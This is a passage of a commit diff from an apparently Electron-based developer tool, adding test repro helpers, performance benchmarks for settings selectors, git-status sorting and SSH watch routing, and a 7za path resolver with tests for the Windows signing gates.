if (!pairing || !method || rawParams === undefined) {
console.error('usage: remote-agent-session-repro-client <pairing> <method> <json-params>')
console.error(
'usage: remote-agent-session-repro-client <pairing> <method> <json-params> [drop-response]'
)
process.exit(2)
}
const connection = new RemoteRuntimeRequestConnection(pairing)
let droppedResponse = false
if (responseMode === 'drop-response') {
if (typeof connection.handleRpcFrame !== 'function') {
throw new Error('response-loss seam is unavailable')
}
connection.handleRpcFrame = () => {
droppedResponse = true
connection.close(new Error('repro dropped committed response before caller acknowledgement'))
}
}
try {
const response = await connection.request(method, JSON.parse(rawParams), 20_000)
process.stdout.write(`${JSON.stringify(response)}\n`)
if (!response.ok) {
process.exitCode = 1
}
} catch (error) {
if (!droppedResponse) {
throw error
}
process.stdout.write(`${JSON.stringify({ ok: true, droppedResponse: true })}\n`)
} finally {
connection.close()
}
@@ -4,11 +4,25 @@ import { appendFileSync, existsSync } from 'node:fs'
const markerPath = process.env.ORCA_REPRO_SPAWN_MARKER
const exitTriggerPath = process.env.ORCA_REPRO_EXIT_TRIGGER
const inputMarkerPath = process.env.ORCA_REPRO_INPUT_MARKER
const agentSessionToken = process.env.ORCA_REPRO_AGENT_SESSION_TOKEN
if (!markerPath || !exitTriggerPath) {
process.exit(2)
}
appendFileSync(markerPath, `${process.pid}:${process.ppid}\n`)
if (agentSessionToken && !process.argv.slice(2).includes(agentSessionToken)) {
process.stderr.write("error: unrecognized subcommand 'app-server'\n")
process.exit(2)
}
appendFileSync(
markerPath,
`${process.pid}:${process.ppid}:${Date.now()}:${JSON.stringify(process.argv.slice(2))}\n`
)
if (inputMarkerPath) {
process.stdin.setEncoding('utf8')
process.stdin.on('data', (chunk) => appendFileSync(inputMarkerPath, chunk))
}
const interval = setInterval(() => {
if (!existsSync(exitTriggerPath)) {
@@ -0,0 +1,14 @@
#!/usr/bin/env node
import { appendFileSync } from 'node:fs'
const markerPath = process.argv[2]
if (!markerPath) {
process.exit(2)
}
process.stdin.setEncoding('utf8')
process.stdin.on('data', (data) => appendFileSync(markerPath, data))
setInterval(() => {}, 1_000)
process.on('SIGTERM', () => process.exit(0))
process.on('SIGINT', () => process.exit(0))
@@ -0,0 +1,207 @@
#!/usr/bin/env node
// Benchmark: cost of the owner-routed settings selector per store write.
//
// getSettingsForRepoRuntimeOwner() is called from useShallow selectors at ~43
// sites across PullRequestPage and TaskPage. Zustand re-runs every subscribed
// selector on every store write, so before the fix each unrelated write
// allocated one settings-sized object per row and then shallow-compared every
// field to conclude nothing had changed.
//
// The fix caches by repo id and reuses the reference while the settings object,
// repo list, and resolved owner are unchanged, so useShallow's equality check
// short-circuits on Object.is.
//
// The selector body is mirrored here (node cannot import the .ts source, matching
// the sibling benchmarks). The settings field count is read from the real
// GlobalSettings type so a drifted shape fails loudly instead of flattering the
// result with a stale, smaller object.
import { readFileSync } from 'node:fs'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const TYPES_SOURCE = readFileSync(
fileURLToPath(new URL('../../src/shared/types.ts', import.meta.url)),
'utf8'
)
function countGlobalSettingsFields(source) {
const block = source.match(/export type GlobalSettings = \{([\s\S]*?)\n\}/)
if (!block) {
throw new Error('types.ts no longer declares GlobalSettings in the expected shape')
}
const fields = block[1].match(/^\s{2}\w+\??:/gm) ?? []
if (fields.length < 50) {
throw new Error(`GlobalSettings parsed as only ${fields.length} fields; re-sync this benchmark`)
}
return fields.length
}
const SETTINGS_FIELDS = countGlobalSettingsFields(TYPES_SOURCE)
const ROWS = Number.parseInt(process.env.ORCA_OWNER_SETTINGS_BENCH_ROWS ?? '43', 10)
const WRITES = Number.parseInt(process.env.ORCA_OWNER_SETTINGS_BENCH_WRITES ?? '2000', 10)
const WARMUP = Number.parseInt(process.env.ORCA_OWNER_SETTINGS_BENCH_WARMUP ?? '200', 10)
for (const [name, value] of [
['ORCA_OWNER_SETTINGS_BENCH_ROWS', ROWS],
['ORCA_OWNER_SETTINGS_BENCH_WRITES', WRITES],
['ORCA_OWNER_SETTINGS_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
function makeSettings() {
const settings = { activeRuntimeEnvironmentId: 'focused-runtime' }
for (let index = 0; index < SETTINGS_FIELDS - 1; index += 1) {
settings[`field${index}`] = index % 3 === 0 ? `value-${index}` : index % 3 === 1 ? index : true
}
return settings
}
function makeRepos(rows) {
return Array.from({ length: rows }, (_value, index) => ({
id: `repo-${index}`,
connectionId: null,
executionHostId: `runtime:env-${index % 4}`
}))
}
function resolveEnvironmentId(state, repoId) {
if (!repoId) {
return null
}
const matching = state.repos.filter((entry) => entry.id === repoId)
const repo = matching.length === 1 ? matching[0] : null
const hasOwner = Boolean(repo?.executionHostId?.trim() || repo?.connectionId?.trim())
if (repo && hasOwner) {
const hostId = repo.executionHostId ?? ''
return hostId.startsWith('runtime:') ? hostId.slice('runtime:'.length) : null
}
return state.settings?.activeRuntimeEnvironmentId?.trim() || null
}
// Pre-fix: a fresh object every call.
function selectorBefore(state, repoId) {
return { ...state.settings, activeRuntimeEnvironmentId: resolveEnvironmentId(state, repoId) }
}
// Post-fix: reuse the reference while nothing it derives from changed.
function makeCachedSelector() {
const cache = new Map()
return (state, repoId) => {
const environmentId = resolveEnvironmentId(state, repoId)
const cacheKey = repoId ?? ''
const cached = cache.get(cacheKey)
if (
cached &&
cached.settingsSource === state.settings &&
cached.reposSource === state.repos &&
cached.environmentId === environmentId
) {
return cached.value
}
const value = { ...state.settings, activeRuntimeEnvironmentId: environmentId }
cache.set(cacheKey, {
settingsSource: state.settings,
reposSource: state.repos,
environmentId,
value
})
if (cache.size > 256) {
const oldest = cache.keys().next()
if (!oldest.done) {
cache.delete(oldest.value)
}
}
return value
}
}
// Mirror of zustand's useShallow comparison.
function shallowEqual(a, b) {
if (Object.is(a, b)) {
return true
}
if (a === null || b === null || a === undefined || b === undefined) {
return false
}
const keysA = Object.keys(a)
const keysB = Object.keys(b)
if (keysA.length !== keysB.length) {
return false
}
for (const key of keysA) {
if (!Object.is(a[key], b[key])) {
return false
}
}
return true
}
// One unrelated store write: every subscribed row re-runs its selector and the
// result is compared against the previous one to decide whether to re-render.
function simulateWrite(selector, state, rows, previous) {
let changed = 0
for (let row = 0; row < rows; row += 1) {
const next = selector(state, `repo-${row}`)
if (!shallowEqual(previous[row], next)) {
changed += 1
}
previous[row] = next
}
return changed
}
function measure(selector, state, rows) {
const previous = Array.from({ length: rows }, () => null)
for (let index = 0; index < WARMUP; index += 1) {
simulateWrite(selector, state, rows, previous)
}
const samples = []
for (let round = 0; round < 5; round += 1) {
const start = performance.now()
for (let index = 0; index < WRITES; index += 1) {
simulateWrite(selector, state, rows, previous)
}
samples.push((performance.now() - start) / WRITES)
}
samples.sort((a, b) => a - b)
return samples[2]
}
const settings = makeSettings()
const rowCounts = [1, 10, ROWS, 100]
const rows = []
for (const rowCount of rowCounts) {
const state = { repos: makeRepos(Math.max(rowCount, ROWS)), settings }
const cached = makeCachedSelector()
// Equivalence: both selectors must produce the same value for every row.
for (let row = 0; row < rowCount; row += 1) {
const before = selectorBefore(state, `repo-${row}`)
const after = cached(state, `repo-${row}`)
if (!shallowEqual(before, after)) {
throw new Error(`selector mismatch at repo-${row}`)
}
}
rows.push({
rowCount,
beforeMs: measure(selectorBefore, state, rowCount),
afterMs: measure(makeCachedSelector(), state, rowCount)
})
}
const pad = (value, width) => String(value).padStart(width)
console.log(`Owner-routed settings selector, per unrelated store write`)
console.log(
`GlobalSettings fields=${SETTINGS_FIELDS} writes=${WRITES} warmup=${WARMUP} (median of 5 rounds)`
)
console.log(`${pad('rows', 6)} ${pad('before ms', 11)} ${pad('after ms', 10)} ${pad('speedup', 9)}`)
for (const row of rows) {
console.log(
`${pad(row.rowCount, 6)} ${pad(row.beforeMs.toFixed(4), 11)} ${pad(row.afterMs.toFixed(4), 10)} ${pad(`${(row.beforeMs / row.afterMs).toFixed(0)}x`, 9)}`
)
}
console.log(
`\nrows = subscribed selector call sites on screen (~${ROWS} across PullRequestPage/TaskPage).\nThe cost is paid on EVERY store write, including writes that touch nothing\nthese selectors read.`
)
+102
View File
@@ -0,0 +1,102 @@
#!/usr/bin/env node
// Why: electron-builder 26.9+ dropped the bundled `7zip-bin` package in favour of a
// toolset downloaded at build time, so the hardcoded `node_modules/7zip-bin/...` path
// the release signing gates used silently stopped resolving (#6487).
import { createRequire } from 'node:module'
import { existsSync, statSync } from 'node:fs'
import { resolve } from 'node:path'
const require = createRequire(import.meta.url)
// Why not existsSync: PowerShell's `Test-Path` is true for directories too, so a
// override pointing at a folder would satisfy both checks and only fail later as
// an opaque exec error inside the gate.
function isFile(path) {
try {
return statSync(path).isFile()
} catch {
return false
}
}
// Legacy layout, still valid if a transitive dep reintroduces 7zip-bin. The
// package ships `mac/`, not `darwin/`, and keeps a separate ia32 build.
export function legacy7zaRelativePath(platform = process.platform, arch = process.arch) {
if (platform === 'win32') {
return ['node_modules', '7zip-bin', 'win', arch, '7za.exe']
}
const dir = platform === 'darwin' ? 'mac' : platform
return ['node_modules', '7zip-bin', dir, arch, '7za']
}
// app-builder-lib logs download progress to stdout, which would corrupt the
// single-path contract the PowerShell gates parse. Divert it to stderr so a
// cold toolset cache stays debuggable without breaking the caller.
//
// Why refcounted: patching `process.stdout.write` is process-global, so two
// concurrent callers would each capture the other's patched function as their
// "original" and the last `finally` would restore a diverting stub permanently.
let stdoutDivertDepth = 0
let originalStdoutWrite = null
async function withStdoutDivertedToStderr(run) {
if (stdoutDivertDepth === 0) {
originalStdoutWrite = process.stdout.write
process.stdout.write = (chunk, encoding, callback) =>
process.stderr.write(chunk, encoding, callback)
}
stdoutDivertDepth += 1
try {
return await run()
} finally {
stdoutDivertDepth -= 1
if (stdoutDivertDepth === 0) {
process.stdout.write = originalStdoutWrite
originalStdoutWrite = null
}
}
}
export async function resolve7zaPath(projectDir = process.cwd()) {
const override = process.env.ELECTRON_BUILDER_7ZIP_PATH
if (override && isFile(override)) {
return override
}
const legacy = resolve(projectDir, ...legacy7zaRelativePath())
if (isFile(legacy)) {
return legacy
}
// app-builder-lib reads the same env var and hard-fails on a stale value, so a
// dangling override must be cleared rather than passed through to the download.
const restoreOverride = override !== undefined
if (restoreOverride) {
delete process.env.ELECTRON_BUILDER_7ZIP_PATH
}
try {
// The toolset is cached after the first download, so a release build has
// already paid this cost by the time the signing gate runs.
const { getPath7za } = require('app-builder-lib/out/toolsets/7zip.js')
const toolsetPath = await withStdoutDivertedToStderr(() => getPath7za())
if (!existsSync(toolsetPath)) {
throw new Error(`app-builder-lib returned a 7za path that does not exist: ${toolsetPath}`)
}
return toolsetPath
} finally {
if (restoreOverride) {
process.env.ELECTRON_BUILDER_7ZIP_PATH = override
}
}
}
if (import.meta.filename === process.argv[1]) {
try {
process.stdout.write(`${await resolve7zaPath()}\n`)
} catch (error) {
process.stderr.write(`Could not resolve a 7za executable: ${error.message}\n`)
process.exit(1)
}
}
+170
View File
@@ -0,0 +1,170 @@
import { spawnSync } from 'node:child_process'
import { existsSync, mkdirSync, mkdtempSync, rmSync, statSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join, resolve } from 'node:path'
import { describe, expect, it } from 'vitest'
import { legacy7zaRelativePath, resolve7zaPath } from './resolve-7za-path.mjs'
const projectRoot = resolve(import.meta.dirname, '../..')
describe('7za path resolution for the Windows signing gates (#6487)', () => {
// Why fixtures: 7zip-bin@5.2.0 ships mac/{arm64,x64}, win/{arm64,ia32,x64}
// and linux/{arm,arm64,ia32,x64} — a `darwin/` or arch-collapsed guess
// resolves to nothing, which is how the gate degraded silently in the first place.
it.each([
['darwin', 'arm64', 'mac/arm64/7za'],
['darwin', 'x64', 'mac/x64/7za'],
['win32', 'x64', 'win/x64/7za.exe'],
['win32', 'ia32', 'win/ia32/7za.exe'],
['win32', 'arm64', 'win/arm64/7za.exe'],
['linux', 'x64', 'linux/x64/7za'],
['linux', 'arm64', 'linux/arm64/7za']
])('maps the %s/%s legacy layout to %s', (platform, arch, expected) => {
expect(legacy7zaRelativePath(platform, arch).join('/')).toBe(
`node_modules/7zip-bin/${expected}`
)
})
it('prefers a real legacy binary over the downloaded toolset', async () => {
// Only meaningful if a transitive dep reintroduces the package.
const legacy = join(projectRoot, ...legacy7zaRelativePath())
if (!existsSync(legacy)) {
return
}
await expect(resolve7zaPath(projectRoot)).resolves.toBe(legacy)
})
it('resolves an executable 7za that can extract an archive', async () => {
const path7za = await resolve7zaPath(projectRoot)
expect(existsSync(path7za)).toBe(true)
const scratch = mkdtempSync(join(tmpdir(), 'orca 7za resolve '))
try {
const payloadDir = join(scratch, 'payload')
mkdirSync(payloadDir, { recursive: true })
writeFileSync(join(payloadDir, 'Orca.exe'), 'not-a-real-pe')
const archive = join(scratch, 'bundle.7z')
const created = spawnSync(path7za, ['a', archive, payloadDir], { encoding: 'utf8' })
expect(created.status).toBe(0)
const outDir = join(scratch, 'out')
const extracted = spawnSync(path7za, ['x', archive, `-o${outDir}`, '-y'], {
encoding: 'utf8'
})
expect(extracted.status).toBe(0)
expect(existsSync(join(outDir, 'payload', 'Orca.exe'))).toBe(true)
} finally {
rmSync(scratch, { recursive: true, force: true })
}
}, 120_000)
it('prefers an explicit ELECTRON_BUILDER_7ZIP_PATH override', async () => {
const scratch = mkdtempSync(join(tmpdir(), 'orca 7za override '))
const previous = process.env.ELECTRON_BUILDER_7ZIP_PATH
try {
const fake = join(scratch, 'my7za')
writeFileSync(fake, '#!/bin/sh\n')
process.env.ELECTRON_BUILDER_7ZIP_PATH = fake
await expect(resolve7zaPath(projectRoot)).resolves.toBe(fake)
} finally {
if (previous === undefined) {
delete process.env.ELECTRON_BUILDER_7ZIP_PATH
} else {
process.env.ELECTRON_BUILDER_7ZIP_PATH = previous
}
rmSync(scratch, { recursive: true, force: true })
}
})
// Why a directory and not a missing path: PowerShell's `Test-Path $7za` is true
// for directories, so a folder-valued override would clear both the resolver's
// check and the gate's, then fail as an opaque exec error mid-extraction.
it('ignores an override that points at a directory', async () => {
const scratch = mkdtempSync(join(tmpdir(), 'orca 7za dir override '))
const previous = process.env.ELECTRON_BUILDER_7ZIP_PATH
try {
process.env.ELECTRON_BUILDER_7ZIP_PATH = scratch
const resolved = await resolve7zaPath(projectRoot)
expect(resolved).not.toBe(scratch)
expect(statSync(resolved).isFile()).toBe(true)
} finally {
if (previous === undefined) {
delete process.env.ELECTRON_BUILDER_7ZIP_PATH
} else {
process.env.ELECTRON_BUILDER_7ZIP_PATH = previous
}
rmSync(scratch, { recursive: true, force: true })
}
}, 120_000)
// Why concurrency: the stdout diversion patches a process-global function. A
// naive save/restore lets the first finisher reinstate a still-diverting stub
// as "the original", permanently swallowing stdout for the rest of the process.
it('restores stdout after concurrent resolutions', async () => {
const before = process.stdout.write
await Promise.all([
resolve7zaPath(projectRoot),
resolve7zaPath(projectRoot),
resolve7zaPath(projectRoot)
])
expect(process.stdout.write).toBe(before)
}, 120_000)
// Why a subprocess: app-builder-lib memoises the resolved toolset, so an in-process
// assertion passes on the cached value even when a dangling override would abort a
// cold release runner.
it('ignores an override that points at a missing file, in a cold process', () => {
const dangling = join(tmpdir(), 'orca-7za-does-not-exist')
const result = spawnSync(process.execPath, ['config/scripts/resolve-7za-path.mjs'], {
cwd: projectRoot,
encoding: 'utf8',
env: { ...process.env, ELECTRON_BUILDER_7ZIP_PATH: dangling },
timeout: 120_000
})
expect(result.stderr ?? '').not.toContain('does not exist')
expect(result.status).toBe(0)
const resolved = result.stdout.trim()
expect(resolved).not.toBe(dangling)
expect(existsSync(resolved)).toBe(true)
}, 120_000)
it('prints exactly one clean line the PowerShell gate can consume', () => {
const result = spawnSync(process.execPath, ['config/scripts/resolve-7za-path.mjs'], {
cwd: projectRoot,
encoding: 'utf8',
timeout: 120_000
})
expect(result.status).toBe(0)
expect(result.stdout.trimEnd().split('\n')).toHaveLength(1)
expect(existsSync(result.stdout.trim())).toBe(true)
}, 120_000)
// Why a cold cache with VITEST unset: app-builder-lib prints download
// progress to stdout, and builder-util suppresses that logging under Vitest —
// so an inherited VITEST makes this exact failure invisible. `$7za = (node
// ...).Trim()` would otherwise receive two lines and the gate would break on
// any runner whose toolset cache was evicted or repaired.
it('keeps stdout to one path even when the toolset cache is cold', () => {
const cache = mkdtempSync(join(tmpdir(), 'orca 7za cold cache '))
try {
const { VITEST: _vitest, ...envWithoutVitest } = process.env
const result = spawnSync(process.execPath, ['config/scripts/resolve-7za-path.mjs'], {
cwd: projectRoot,
encoding: 'utf8',
env: { ...envWithoutVitest, ELECTRON_BUILDER_CACHE: cache },
timeout: 300_000
})
expect(result.status).toBe(0)
const lines = result.stdout.trimEnd().split('\n')
expect(lines).toHaveLength(1)
expect(existsSync(lines[0])).toBe(true)
} finally {
rmSync(cache, { recursive: true, force: true })
}
}, 300_000)
})
+6 -29
View File
@@ -1,7 +1,6 @@
import { execFileSync, spawn } from 'node:child_process'
import { createHash } from 'node:crypto'
import {
chmodSync,
cpSync,
existsSync,
lstatSync,
@@ -17,6 +16,7 @@ import {
import net from 'node:net'
import { createRequire } from 'node:module'
import path from 'node:path'
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
// Why: Electron-based hosts (e.g. Claude Code, VS Code) set
// ELECTRON_RUN_AS_NODE=1 in their terminal environment. If this leaks into
@@ -314,35 +314,12 @@ function getDevUserDataPath() {
}
function prepareDevCliWrapper() {
const binDir = path.join(repoRoot, 'out', 'bin')
mkdirSync(binDir, { recursive: true })
const userDataPath = getDevUserDataPath()
const userDataBinDir = path.join(userDataPath, 'cli', 'bin')
const cliPath = path.join(repoRoot, 'out', 'cli', 'index.js')
const electronBin = getElectronExecutable()
if (process.platform === 'win32') {
writeFileSync(
path.join(binDir, 'orca-dev.cmd'),
`@echo off\r\nset "ORCA_USER_DATA_PATH=${userDataPath}"\r\nset "ORCA_APP_EXECUTABLE=${electronBin}"\r\nset "ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1"\r\nnode "${cliPath}" %*\r\n`,
'utf8'
)
} else {
const wrapperContent = `#!/usr/bin/env bash\nexport ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}\nexport ORCA_APP_EXECUTABLE=${JSON.stringify(electronBin)}\nexport ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1\nexec node ${JSON.stringify(cliPath)} "$@"\n`
const wrapperPath = path.join(binDir, 'orca-dev')
writeFileSync(wrapperPath, wrapperContent, 'utf8')
chmodSync(wrapperPath, 0o755)
mkdirSync(userDataBinDir, { recursive: true })
for (const commandName of ['orca-dev', 'orca']) {
const userDataWrapperPath = path.join(userDataBinDir, commandName)
// Why: dev Orca terminals prepend this directory to PATH; refreshing the
// `orca` alias prevents stale global/userData wrappers from hijacking
// Orca-owned commands such as `orca claude-teams`.
writeFileSync(userDataWrapperPath, wrapperContent, 'utf8')
chmodSync(userDataWrapperPath, 0o755)
}
}
const { binDir } = prepareDevCliTerminalWrappers({
repoRoot,
userDataPath,
electronExecutable: getElectronExecutable()
})
process.env.PATH = `${binDir}${path.delimiter}${process.env.PATH ?? ''}`
console.log(`[orca-dev] Prepared wrapper in ${binDir}`)
@@ -0,0 +1,43 @@
import { spawn } from 'node:child_process'
import { fileURLToPath } from 'node:url'
const buildScript = fileURLToPath(new URL('./run-electron-vite-build.mjs', import.meta.url))
const targetConfig = fileURLToPath(new URL('../electron-vite-target.config.ts', import.meta.url))
const targets = ['main', 'preload', 'renderer']
function buildTarget(target) {
return new Promise((resolve, reject) => {
const child = spawn(
process.execPath,
[buildScript, '--config', targetConfig, '--ignoreConfigWarning'],
{
stdio: 'inherit',
env: {
...process.env,
ORCA_ELECTRON_VITE_TARGET: target
}
}
)
child.on('error', reject)
child.on('exit', (code, signal) => {
if (signal) {
reject(new Error(`Electron Vite ${target} build exited with signal ${signal}`))
} else if (code !== 0) {
reject(new Error(`Electron Vite ${target} build exited with code ${code}`))
} else {
resolve()
}
})
})
}
const results = await Promise.allSettled(targets.map(buildTarget))
const failures = results.filter((result) => result.status === 'rejected')
if (failures.length > 0) {
for (const failure of failures) {
console.error(failure.reason)
}
process.exit(1)
}
@@ -194,8 +194,21 @@ async function validateAuthenticatedPairing() {
status?._meta?.runtimeId === payload.runtimeId,
'paired client runtime ID does not match ready contract'
)
assert(
typeof statusResult?.runtime?.appVersion === 'string',
'paired server did not report its Orca app version'
)
assert(
statusResult?.runtime?.capabilities?.includes('updater.remote-control.v1'),
'paired server did not advertise remote updater capability'
)
assert(
statusResult?.runtime?.remoteUpdateSupport?.automatic === false &&
statusResult.runtime.remoteUpdateSupport.reason === 'manual-service-update-required',
'direct headless server did not require a safe manual service update'
)
stopContainer(server.name)
console.log('PASS authenticated E2EE pairing from an independent Debian container')
console.log('PASS paired E2EE updater inventory and manual-service fallback')
}
async function validateUnreachableOffer() {
@@ -0,0 +1,32 @@
import { spawnSync } from 'node:child_process'
const result = spawnSync(
process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm',
[
'exec',
'playwright',
'test',
'tests/e2e/nested-runtime-ssh-routing.spec.ts',
'tests/e2e/nested-runtime-ssh-lifecycle.spec.ts',
'--config',
'tests/playwright.config.ts',
'--project',
'electron-headless',
'--workers=1'
],
{
cwd: process.cwd(),
env: {
...process.env,
ORCA_E2E_NESTED_RUNTIME_SSH: '1',
ORCA_E2E_SSH_DOCKER: '1',
ORCA_E2E_WEB_CLIENT: '1'
},
stdio: 'inherit'
}
)
if (result.error) {
throw result.error
}
process.exit(result.status ?? 1)
@@ -0,0 +1,116 @@
#!/usr/bin/env node
// Benchmark: cost of sorting the Source Control changed-file list.
//
// compareGitStatusEntries called `a.path.localeCompare(b.path, undefined, {numeric:true})`.
// Passing an options object makes each call resolve a fresh ICU collator, so a
// sort paid for one per O(n log n) comparison. The fix hoists a single
// Intl.Collator, which is the idiom TaskPage.tsx already uses for Jira labels.
//
// The sort runs in a useMemo keyed on the entry list, so it re-runs on every git
// refresh that changes the working tree.
//
// Both arms sort the same generated list and their outputs are compared before
// timing, so a comparator that changed the order cannot be reported as a win.
import { execFileSync } from 'node:child_process'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const ITERATIONS = Number(process.env.ORCA_SC_SORT_BENCH_ITERATIONS ?? '25')
const WARMUP = Number(process.env.ORCA_SC_SORT_BENCH_WARMUP ?? '5')
for (const [name, value] of [
['ORCA_SC_SORT_BENCH_ITERATIONS', ITERATIONS],
['ORCA_SC_SORT_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isSafeInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
function conflictRank(entry) {
if (entry.conflictStatus === 'unresolved') {
return 0
}
if (entry.conflictStatus === 'resolved_locally') {
return 1
}
return 2
}
// Pre-fix: resolves a collator per comparison.
function compareBefore(a, b) {
return (
conflictRank(a) - conflictRank(b) || a.path.localeCompare(b.path, undefined, { numeric: true })
)
}
// Post-fix: one hoisted collator, mirroring source-control-status-sort.ts.
const collator = new Intl.Collator(undefined, { numeric: true })
function compareAfter(a, b) {
return conflictRank(a) - conflictRank(b) || collator.compare(a.path, b.path)
}
// Why real repo paths in git's own order: `git status` emits byte-sorted paths,
// and a shuffled fixture inflates the win — a nearly-sorted array is the case
// this actually has to beat.
const REPO_PATHS = execFileSync('git', ['ls-files'], {
cwd: fileURLToPath(new URL('../..', import.meta.url)),
maxBuffer: 256 * 1024 * 1024
})
.toString()
.split('\n')
.filter(Boolean)
function makeEntries(count) {
const step = Math.max(1, Math.floor(REPO_PATHS.length / count))
const paths = []
for (let index = 0; index < REPO_PATHS.length && paths.length < count; index += step) {
paths.push(REPO_PATHS[index])
}
return paths.map((path, index) => ({
path,
area: 'unstaged',
status: 'modified',
...(index % 37 === 0 ? { conflictStatus: 'unresolved' } : {})
}))
}
function measure(compare, entries) {
for (let index = 0; index < WARMUP; index += 1) {
;[...entries].sort(compare)
}
const samples = []
for (let round = 0; round < 5; round += 1) {
const start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
;[...entries].sort(compare)
}
samples.push((performance.now() - start) / ITERATIONS)
}
samples.sort((a, b) => a - b)
return samples[2]
}
const pad = (value, width) => String(value).padStart(width)
console.log('Source Control changed-file sort, per git refresh. Lower is better.')
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
console.log(`${pad('files', 7)} ${pad('per-call', 11)} ${pad('hoisted', 11)} ${pad('speedup', 9)}`)
// Sizes from the real distribution over 7,324 non-merge commits on this repo:
// p50 3, p75 7, p90 17, p95 26, p99 63, max 1626.
for (const count of [3, 17, 26, 63, 308, 1000]) {
const entries = makeEntries(count)
const before = [...entries].sort(compareBefore).map((entry) => entry.path)
const after = [...entries].sort(compareAfter).map((entry) => entry.path)
if (before.join('\n') !== after.join('\n')) {
throw new Error(`sort order differs at ${count} files`)
}
const beforeMs = measure(compareBefore, entries)
const afterMs = measure(compareAfter, entries)
console.log(
`${pad(count, 7)} ${pad(`${beforeMs.toFixed(3)} ms`, 11)} ${pad(`${afterMs.toFixed(3)} ms`, 11)} ${pad(`${(beforeMs / afterMs).toFixed(1)}x`, 9)}`
)
}
console.log(
'\nSizes are the real changed-file distribution over 7,324 non-merge commits on\nthis repo (p50 3, p90 17, p95 26, p99 63), so the top rows are the common case.\nThis times the sort alone; the sort is roughly 85% of the Source Control\nprojection chain, so the end-to-end memo win is smaller than these ratios.'
)
@@ -0,0 +1,190 @@
#!/usr/bin/env node
// Benchmark: routing one `fs.changed` relay notification to SSH watch registrations.
//
// routeSshFilesystemWatchNotification called isPathInsideOrEqual(root, event.path)
// for every (registration x event) pair. That helper NFC-normalizes BOTH sides, so
// each event path was re-normalized once per watch root, and each root was
// re-normalized once per event -- O(roots * events) normalizations for what is
// O(roots + events) distinct work.
//
// The fix normalizes each event path once up front and builds one pre-normalized
// matcher per root, leaving only string compare in the inner loop.
//
// This is a hot path on SSH: the relay watcher batches up to MAX_BATCHED_WATCHER_EVENTS
// per notify, and a single `git checkout` or `pnpm install` on the remote host emits
// thousands of paths through it.
//
// Both arms are run against the same inputs and their outputs are compared before
// timing, so a matcher that changed which events route where cannot be reported as
// a win. The normalizer is imported from the real module (via tsx) rather than
// re-modelled here, so folding-rule drift cannot silently invalidate the result.
import { execFileSync } from 'node:child_process'
import { readFileSync } from 'node:fs'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const REPO_ROOT = fileURLToPath(new URL('../..', import.meta.url))
const ITERATIONS = Number(process.env.ORCA_SSH_WATCH_BENCH_ITERATIONS ?? '200')
const WARMUP = Number(process.env.ORCA_SSH_WATCH_BENCH_WARMUP ?? '30')
for (const [name, value] of [
['ORCA_SSH_WATCH_BENCH_ITERATIONS', ITERATIONS],
['ORCA_SSH_WATCH_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isSafeInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
// Why re-read the source: this benchmark's whole claim is that the normalizer is
// the expensive part. If someone makes it cheap (or drops the NFC fold), the
// numbers below stop meaning what the header says, so fail loudly instead.
const PATH_SOURCE = readFileSync(
new URL('../../src/shared/cross-platform-path.ts', import.meta.url),
'utf8'
)
for (const marker of ['normalize(', 'createNormalizedPathInsideOrEqualMatcher']) {
if (!PATH_SOURCE.includes(marker)) {
throw new Error(`cross-platform-path.ts no longer contains ${marker}; this benchmark is stale`)
}
}
// Import the real normalizer so both arms fold paths exactly as production does.
const {
normalizeRuntimePathForComparison,
isPathInsideOrEqual,
createNormalizedPathInsideOrEqualMatcher
} = await import(new URL('../../src/shared/cross-platform-path.ts', import.meta.url).href)
// Pre-fix: mirrors the original routeSshFilesystemWatchNotification inner loop.
function routeBefore(roots, events, sink) {
for (const rootPath of roots) {
const matching = events.filter((event) => isPathInsideOrEqual(rootPath, event.absolutePath))
if (matching.length > 0) {
sink(rootPath, matching)
}
}
}
// Post-fix: mirrors the current implementation.
function routeAfter(roots, events, sink) {
const normalizedEvents = events.map((event) => ({
event,
normalizedPath: normalizeRuntimePathForComparison(event.absolutePath)
}))
for (const rootPath of roots) {
const isInsideRoot = createNormalizedPathInsideOrEqualMatcher(rootPath)
const matching = normalizedEvents
.filter(({ normalizedPath }) => isInsideRoot(normalizedPath))
.map(({ event }) => event)
if (matching.length > 0) {
sink(rootPath, matching)
}
}
}
// Why real repo paths: path length and segment count drive normalization cost, and
// a synthetic `/a/b/c` fixture would understate it against real source trees.
const REPO_PATHS = execFileSync('git', ['ls-files'], {
cwd: REPO_ROOT,
maxBuffer: 256 * 1024 * 1024
})
.toString()
.split('\n')
.filter(Boolean)
// A remote host running several worktrees: each is its own watch root, and the
// file explorer plus the worktree-base-directory watcher both register.
function makeRoots(count) {
return Array.from({ length: count }, (_, index) => `/home/dev/worktrees/orca-${index}`)
}
function makeEvents(roots, count) {
const events = []
for (let index = 0; index < count; index += 1) {
// Spread events across roots so most roots match some events, as a real
// multi-worktree checkout does. Paths outside any root also occur (node_modules
// of a sibling checkout), so include a slice of those too.
const root = index % 11 === 0 ? '/home/dev/other-checkout' : roots[index % roots.length]
events.push({
kind: 'update',
absolutePath: `${root}/${REPO_PATHS[index % REPO_PATHS.length]}`
})
}
return events
}
function collect(roots, events, route) {
const seen = []
route(roots, events, (rootPath, matching) =>
seen.push(`${rootPath} ${matching.map((event) => event.absolutePath).join(',')}`)
)
return seen.join('\n')
}
// Why interleaved: running one arm's whole batch before the other's lets CPU
// frequency drift and background load correlate with the arm being measured. On a
// loaded machine that alone swung the 12x200 row between 6.7x and 23.3x. Alternating
